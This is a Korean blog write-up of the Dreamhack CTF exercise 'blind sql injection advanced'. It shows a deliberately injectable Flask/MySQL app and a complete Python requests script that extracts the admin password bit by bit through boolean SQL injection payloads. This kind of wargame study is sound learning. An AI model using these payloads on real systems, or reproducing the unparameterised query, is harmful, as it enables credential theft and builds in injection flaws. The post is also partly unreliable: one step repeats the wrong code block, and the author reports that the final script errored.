본문 바로가기

Wargame/Dreamhack

[Dreamhack] blind sql injection advanced

blind sql injection advanced | 워게임 | Dreamhack

 

blind sql injection advanced

Description Exercise: Blind SQL Injection Advanced에서 실습하는 문제입니다. 관리자의 비밀번호는 "아스키코드"와 "한글"로 구성되어 있습니다.

dreamhack.io

비밀번호는 아스키코드와 한글로 구성되었다.

 

접속 정보에 나오는 링크를 타고 들어가보자.

uid를 submit 하면, 그러니까 단어를 입력하면, 저게 쿼리의 조건절로 들어간다는 것 같다.

 

어라. 오버로드나 ap 오류라고 한다. 틀린 값을 입력하면 저렇게 되는건가.

 

쿠키는 필요없는가보다. 없다고 뜬다.

 

다운받은 파일의 압축을 푸니 파일이 세 개 있는데 우선 하나씩 열어보도록 하자.

 

 

user_db 데이터베이스를 utf-8 언어 셋으로 생성하며, uid와 upw 컬럼을 갖는 users 테이블을 생성한다.

users 테이블에는 초기 세 개의 row를 초기화해두는데 이 때 admin 계정의 패스워드가 플래그임을 알 수 있다.

한글과 아스키코드의 조합으로 이루어져 있다는 그 패스워드 말이다.

 

import os
from flask import Flask, request, render_template_string
from flask_mysqldb import MySQL

app = Flask(__name__)
app.config['MYSQL_HOST'] = os.environ.get('MYSQL_HOST', 'localhost')
app.config['MYSQL_USER'] = os.environ.get('MYSQL_USER', 'user')
app.config['MYSQL_PASSWORD'] = os.environ.get('MYSQL_PASSWORD', 'pass')
app.config['MYSQL_DB'] = os.environ.get('MYSQL_DB', 'user_db')
mysql = MySQL(app)

template ='''
<pre style="font-size:200%">SELECT * FROM users WHERE uid='{{uid}}';</pre><hr/>
<form>
    <input tyupe='text' name='uid' placeholder='uid'>
    <input type='submit' value='submit'>
</form>
{% if nrows == 1%}
    <pre style="font-size:150%">user "{{uid}}" exists.</pre>
{% endif %}
'''

@app.route('/', methods=['GET'])
def index():
    uid = request.args.get('uid', '')
    nrows = 0

    if uid:
        cur = mysql.connection.cursor()
        nrows = cur.execute(f"SELECT * FROM users WHERE uid='{uid}';")

    return render_template_string(template, uid=uid, nrows=nrows)


if __name__ == '__main__':
    app.run(host='0.0.0.0')

Flask와 mysql을 이용한 웹 서버가 동작하고 있다. 

/ 경로에 GET 메소드로 uid 파라미터를 통해 이용자 입력을 전달받는다.

전달받은 입력은 별도의 여과 없이 바로 mysql 쿼리에 사용되기 때문에 SQL Injection 취약점이 발생한다.

하지만 쿼리 실행의 결과를 그대로 출력해주지 않고, 쿼리 성공의 여부만 알 수 있기 때문에

Blind SQL Injection을 이용해 공격해야 한다.

 

이제 admin 계정의 패스워드를 추출하기 위한 익스플로잇을 파이썬의 requests 모듈을 이용해 작성한다.

1. admin 패스워드 길이 찾기

먼저 Blind SQL Injection을 진행하기 위해 admin 패스워드의 길이를 알아내야 한다.

MySQL에서 데이터의 길이를 알아내기 위해 length 함수를 사용하면 문자열을 bytes 형태로 표현하였을 때의 길이를 반환환한다.

즉, 인코딩에 관계없이 전체 문자열을 표현하는데에 사용되는 바이트의 수를 반환하기 때문에 만약 아스키코드로 문자열이 구성되어있지 않다면, 올바르지 않은 값을 반환할 수 있다.

따라서 문자열 인코딩에 따른 정확한 길이를 계산하기 위해서는 char_length함수를 사용해야 한다.

 

admin' and length(upw) = {length}-- -

 

위의 쿼리를 requests 모듈을 이용해 코드를 작성하면 다음과 같다.

 

from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")

 

2. 각 문자 별 비트열 길이 찾기

패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 이를 판단하기 위해서 각 문자를 비트열로 표현했을 때의 길이를 알아내야 한다.

패스워드의 각 문자가 한글인지 아스키코드인지 알 수 없기 때문에 비트열로 변환하여 추출하기 전에 각 비트열의 길이를 찾아야 한다.

admin 패스워드의 길이를 찾을 때와 동일한 방식으로 찾을 수 있으며,

비트열은 모두 0과 1 로 이루어져있기 때문에 일반적인 length 함수를 사용하여도 무방하다.

 

admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -

 

위의 쿼리를 requests 모듈을 이용해 코드를 작성하면 다음과 같다.

 

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

 

 

3. 각 문자 별 비트열 추출

패스워드 별 각 문자에 해당하는 비트열을 추출해야 한다.

이때 아스키코드의 경우 최대 8번, 한글의 경우 최대 24번의 요청으로 추출할 수 있다.

각 문자 별 비트열의 길이를 구했다면, 다음으로 각 문자 별 비트열을 모두 추출해야 합니다.

비트열의 길이를 구할 때와 비슷한 방식으로 쿼리를 작성할 수 있다.

 

admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -

 

requests 모듈을 이용해 코드를 작성하면 다음과 같다.

 

for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")

 

4. 비트열을 문자로 변환

패스워드의 각 비트열을 모두 추출했다면, 각 문자의 인코딩이 utf-8이었음을 감안해 추출한 비트열을 문자로 변환한다.

이 때 한글과 같이 아스키코드 범위가 아닌 문자의 경우, 인코딩에 유의하여 변환해주어야 한다.

 

예를 들어,  의 경우

utf-8로 인코딩하였을 때 \xea\xb0\x80 로 표현되는데,

비트열로 표현하면 111010101011000010000000 가 된다고 한다.

 

<비트열을 다시 문자로 변환하는 순서>

  1. 비트열을 정수로 변환
  2. 정수를 Big Endian 형태의 문자로 변환
  3. 변환된 문자를 인코딩에 맞게 변환

비트열을 정수로 변환하기 위해 int 클래스를 사용할 수 있고,

정수를 Big Endian 형태로 변환하기 위해 int.to_bytes 함수를 사용할 수 있다.

문자를 인코딩에 맞게 변환하기 위해 bytes.decode 함수를 사용할 수 있다.

 

password = ""
for i in range(1, password_length + 1):
    ...
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")

 

그리고 이걸 다 합치면?

from requests import get
host = "http://localhost:5000"
password_length = 0
while True:
    password_length += 1
    query = f"admin' and char_length(upw) = {password_length}-- -"
    r = get(f"{host}/?uid={query}")
    if "exists" in r.text:
        break
print(f"password length: {password_length}")
password = ""
for i in range(1, password_length + 1):
    bit_length = 0
    while True:
        bit_length += 1
        query = f"admin' and length(bin(ord(substr(upw, {i}, 1)))) = {bit_length}-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            break
    print(f"character {i}'s bit length: {bit_length}")
    
    bits = ""
    for j in range(1, bit_length + 1):
        query = f"admin' and substr(bin(ord(substr(upw, {i}, 1))), {j}, 1) = '1'-- -"
        r = get(f"{host}/?uid={query}")
        if "exists" in r.text:
            bits += "1"
        else:
            bits += "0"
    print(f"character {i}'s bits: {bits}")
    password += int.to_bytes(int(bits, 2), (bit_length + 7) // 8, "big").decode("utf-8")
print(password)

 

아니 실행했는데 왜 오류가 뜨지

 

[참고자료]

[WHA] Exercise: Blind SQL Injection Advanced | Dreamhack

'Wargame > Dreamhack' 카테고리의 다른 글

[Dreamhack] file-download-1  (0) 2022.11.21
[Dreamhack] sql injection bypass WAF  (0) 2022.11.12
[Dreamhack] CSRF-2  (0) 2022.09.25
[Dreamhack] XSS-2  (0) 2022.09.20
[Dreamhack] rev-basic-1  (0) 2022.07.31